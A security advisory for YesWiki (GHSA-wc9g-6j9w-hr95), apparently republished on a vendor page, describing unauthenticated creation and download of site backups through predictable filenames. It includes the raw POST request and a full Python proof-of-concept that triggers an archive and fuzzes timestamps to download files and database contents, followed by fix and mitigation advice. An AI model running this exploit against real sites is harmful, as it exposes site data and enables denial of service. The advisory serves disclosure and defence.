GHSA-wc9g-6j9w-hr95
CRITICALYesWiki Vulnerable to Unauthenticated Site Backup Creation and Download
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
yeswiki/yeswikiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.
The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.
Details
Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:
POST /?api/archives HTTP/1.1
Host: localhost:8085
action=startArchive¶ms%5Bsavefiles%5D=true¶ms%5Bsavedatabase%5D=true&callAsync=true
Then to retrieve it, make a simple GET request like to the correct URL:
http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip
A malicious attacker could simply fuzz this filename.
PoC
Here is a python script to fuzz this:
#!/usr/bin/env python3
import requests
import argparse
import datetime
import time
from urllib.parse import urljoin
from email.utils import parsedate_to_datetime
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Hardcoded proxy config for Burp Suite
BURP_PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
def send_post_request(base_url, use_proxy=False):
url = urljoin(base_url, "/?api/archives")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
}
data = {
"action": "startArchive",
"params[savefiles]": "true",
"params[savedatabase]": "true",
"callAsync": "true"
}
proxies = BURP_PROXIES if use_proxy else None
response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
print(f"[+] Archive start response code: {response.status_code}")
server_date = response.headers.get("Date")
if server_date:
ts = parsedate_to_datetime(server_date)
print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC")
return ts
else:
print("[!] Server did not return a Date header, falling back to local UTC.")
return datetime.datetime.utcnow()
def try_download_files(base_url, timestamp, use_proxy=False):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
}
proxies = BURP_PROXIES if use_proxy else None
print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...")
base_ts = timestamp + datetime.timedelta(hours=2)
time.sleep(30) # delay to generate the archive
for offset in range(-4, 15):
ts = base_ts + datetime.timedelta(seconds=offset)
filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip")
url = urljoin(base_url, f"/?api/archives/{filename}")
print(f"[>] Trying: {url}")
r = requests.get(url, headers=headers, proxies=proxies, verify=False)
if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"):
print(f"[✓] Archive found and downloaded: {filename}")
with open(filename, "wb") as f:
f.write(r.content)
return
print("[!] No archive found within the fuzzed window.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.")
parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085")
parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080")
args = parser.parse_args()
ts = send_post_request(args.host, use_proxy=args.proxy)
print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")
try_download_files(args.host, ts, use_proxy=args.proxy)
Impact
Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.
Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | yeswiki/yeswiki | all versions | 4.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yeswiki/yeswiki to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wc9g-6j9w-hr95 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wc9g-6j9w-hr95 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wc9g-6j9w-hr95. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wc9g-6j9w-hr95 in your dependencies?
O3 detects GHSA-wc9g-6j9w-hr95 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.